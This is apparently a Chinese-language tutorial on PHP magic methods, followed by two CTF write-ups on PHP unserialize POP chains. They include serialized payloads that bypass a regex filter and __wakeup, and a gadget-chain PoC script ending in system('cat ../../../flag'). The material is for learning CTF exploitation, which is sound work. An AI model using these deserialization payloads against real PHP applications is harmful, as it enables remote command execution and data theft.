跳转至

PHP魔术方法及POP链题解

PHP中的魔术方法

__construct()

对象实例化时自动调用的构造方法,通常用于初始化对象属性。

PHP
class MyClass {
    public function __construct($param1, $param2) {
        $this->property1 = $param1;
        $this->property2 = $param2;
    }
}

$obj = new MyClass('value1', 'value2');

__destruct()

对象销毁时自动调用的析构方法,通常用于清理资源等操作。

PHP
class MyClass {
    public function __destruct() {
        // 清理资源等操作
    }
}

$obj = new MyClass();
unset($obj); // 销毁对象时会自动调用__destruct()方法

__get()

访问不存在或不可访问属性时自动调用的方法,可以自定义返回值。

PHP
class MyClass {
    private $property;

    public function __get($name) {
        if ($name == 'property') {
            return 'default value';
        }
    }
}

$obj = new MyClass();
echo $obj->property; // 访问不存在的属性时会自动调用__get()方法,输出'default value'

__set()

设置不存在或不可访问属性时自动调用的方法,可以自定义赋值操作。

PHP
class MyClass {
    private $property;

    public function __set($name, $value) {
        if ($name == 'property') {
            $this->property = $value . ' (modified)';
        }
    }
}

$obj = new MyClass();
$obj->property = 'value'; // 设置不存在的属性时会自动调用__set()方法,修改属性值
echo $obj->property; // 输出'value (modified)'

__call()

调用不存在或不可访问方法时自动调用的方法,可以自定义方法实现。

PHP
class MyClass {
    public function __call($name, $arguments) {
        if ($name == 'method') {
            return implode(', ', $arguments);
        }
    }
}

$obj = new MyClass();
echo $obj->method('arg1', 'arg2'); // 调用不存在的方法时会自动调用__call()方法,输出'arg1, arg2'

__toString()

将对象转换为字符串时自动调用的方法,可以自定义字符串表示。

PHP
class MyClass {
    public function __toString() {
        return 'MyClass object';
    }
}

$obj = new MyClass();
echo $obj; // 将对象转换为字符串时会自动调用__toString()方法,输出'MyClass object'

__invoke()

当将一个对象作为函数调用时自动调用的方法。可以将对象当作可调用的函数来使用。

PHP
class MyClass {
    public function __invoke($arg) {
        echo 'Called with argument: ' . $arg;
    }
}

$obj = new MyClass();
$obj('Hello'); // 将对象当作函数调用时会自动调用__invoke()方法,输出'Called with argument: Hello'

__unset()

当对不可访问属性进行unset操作时自动调用的方法。可以在该方法中定义删除属性的行为。

PHP
class MyClass {
    private $property;

    public function __unset($name) {
        if ($name == 'property') {
            $this->property = null;
        }
    }
}

$obj = new MyClass();
unset($obj->property); // 对不可访问属性进行unset操作时会自动调用__unset()方法,删除属性

**9__sleep(): **

是一个魔术方法,用于在对象被序列化(使用 serialize() 函数)之前执行某些操作。当一个对象需要被序列化时,PHP 会检查这个对象是否实现了 __sleep() 方法。如果实现了,那么在序列化过程中,PHP 会首先调用 __sleep() 方法,然后再执行序列化操作。

__sleep() 方法没有参数,其主要作用是返回一个包含对象所有需要被序列化的属性名称的数组。当对象需要被序列化时,PHP 将只序列化 __sleep() 返回的属性,而其他属性则不会被序列化。

PHP
class MyClass {
    public $data1;
    public $data2;

    public function __construct($d1, $d2) {
        $this->data1 = $d1;
        $this->data2 = $d2;
    }

    public function __sleep() {
        return array('data1'); // 只序列化 data1 属性
    }
}

$obj = new MyClass('value1', 'value2');
$serialized = serialize($obj);
echo $serialized;

__wakeup()

是 PHP 中的一个魔术方法(Magic Method),用于在反序列化对象时调用。当一个对象被序列化后,如果定义了 __wakeup() 方法,那么在对这个对象进行反序列化时,PHP 会自动调用 __wakeup() 方法来重新初始化对象。

PHP
<?php
class MyClass {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __wakeup() {
        echo "Object has been unserialized. Performing necessary operations.\n";
        // Perform some operations after unserialize
    }
}

// Serialize object
$obj = new MyClass("Hello, world!");
$serializedObj = serialize($obj);

// Unserialize object
$unserializedObj = unserialize($serializedObj);
?>

CTF题POC链题解

攻防世界(Web_php_unserialize)

  • 打开页面如下:

1

  • 通过观察,存在_construct、_wakeup魔术方法,然后还有关键的反序列化函数,因此思路就是进行poc链的构造,从而实现shell

  • 通过分析,发现以下需要绕过的点

PHP
1.绕过正则表达式
    if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
2.桡过_wakeup()魔术方法
    function __wakeup() { 
    if ($this->file != 'index.php') { 
        //the secret is in the fl4g.php
        $this->file = 'index.php'; 
    } 
} 
}
3.注意变量的作用范围,需要注意以下几点
  public无标记,变量名不变,如s:3:"qiu";i:2;

  protected在变量名前添加标记\00*\00,长度加3,如s:6:"\00*\00qiu";i:2;

  private在变量名前添加标记\00(classname)\00,长度+2+类名长度,如s:17:"\00FileHandler_Z\00op";i:2;
  • 于是构造出解题脚本
PHP
<?php 
class Demo { 
  private $file = 'fl4g.php';
}

$s1=new Demo();
$result=serialize($s1);
echo $result;
?>
//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
  • 得到O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}初始poc,那么接下来就是绕过那两个地方了。

  • 绕过_wakeup()魔术方法

    直接修改属性的个数即可:O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

  • 绕过正则表达式

    因为它匹配的是o:数字这样的格式,那么直接加一个+即可绕过

    O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

  • 再base64加密一下得出答案。

TyUzQSs0JTNBJTIyRGVtbyUyMiUzQTIlM0ElN0JzJTNBNCUzQSUyMmZpbGUlMjIlM0JzJTNBOCUzQSUyMmZsNGcucGhwJTIyJTNCJTdE

  • 到这儿,应该是没有问题的,但是,由于提及到了private变量,那么就不能通过用手动的poc去加密后得到答案。

  • 那么就修改解题脚本

PHP
<?php 
class Demo { 
  private $file = 'fl4g.php';
}

$s1=new Demo();
$result=serialize($s1);
$result=str_replace("O:4","O:+4",$result);
$result=str_replace(":1:{",":2:{",$result);
$result=base64_encode($result);
echo $result;
?>
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
  • 成功

2

极客大挑战(一道ez_poc)

  • 题目源码如下:
PHP
<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']); 
  • 这里用了非常多的魔术方法,包含了destruct(),call(),toString(),invoke(),unset()

  • 这道题充分考察了对魔术方法的了解和构造Poc链的思维能力了。 思路如下(根据类的名字,我们可以大概猜测poc链路):

PHP
//(Begin)destruct($name=Then)【由于destruct在整个程序周期中是必被触发的,因此,可以由destruct开头,调用Then类】->(Then)toSting($func=Super)【由于$name=Then了,因此Then类被当成字符串了,故成功触发toString方法】->
//(Super)invoke($obj=Handle)【由于toString()方法中有this->$func(),且func赋值为了Super类,从而Super被当作函数调用,故触发了invoke方法,此时将obj赋值为Handle,而Handle类里面没有getStr()方法,故触发了Handle类】->(Handle)call($obj=CTF)【由于obj赋值为了CTF类,且调用了CTF类中的end()函数】->
//(CTF)unset($handle=WhiteGod)【调用了CTF的end函数,因此,将handle赋值为WhiteGod类,从而访问WhiteGod的log,但是没有,故又触发WhiteGod的unset()方法】->(WhiteGod)_unset($func=system&&$var=ls)【最终构造shell】
  • 这是顺起来的,在具体写代码的时候需要从后到前。

poc脚本

PHP
<?php
highlight_file(__FILE__);

class Begin{
    public $name;
}

class Then{
    public $func;
}

class Handle{
    public $obj;
}

class Super{
    public $obj;
}

class CTF{
    public $handle;
}

class WhiteGod{
    public $func;
    public $var;
}
//(CTF)unset($handle=WhiteGod)->(WhiteGod)_unset($func=system&&$var=ls)
//(Super)invoke($obj=Handle)->(Handle)call($obj=CTF)->
//(Begin)destruct($name=Then)->(Then)toSting($func=Super)->

$s1=new WhiteGod();
$s1->func='system';
$s1->var='cat ../../../flag';
$s2=new CTF();
$s2->handle=$s1;
$s3=new Handle();
$s3->obj=$s2;
$s4=new Super();
$s4->obj=$s3;
$s5=new Then();
$s5->func=$s4;
$s6=new Begin();
$s6->name=$s5;

echo serialize($s6);
?>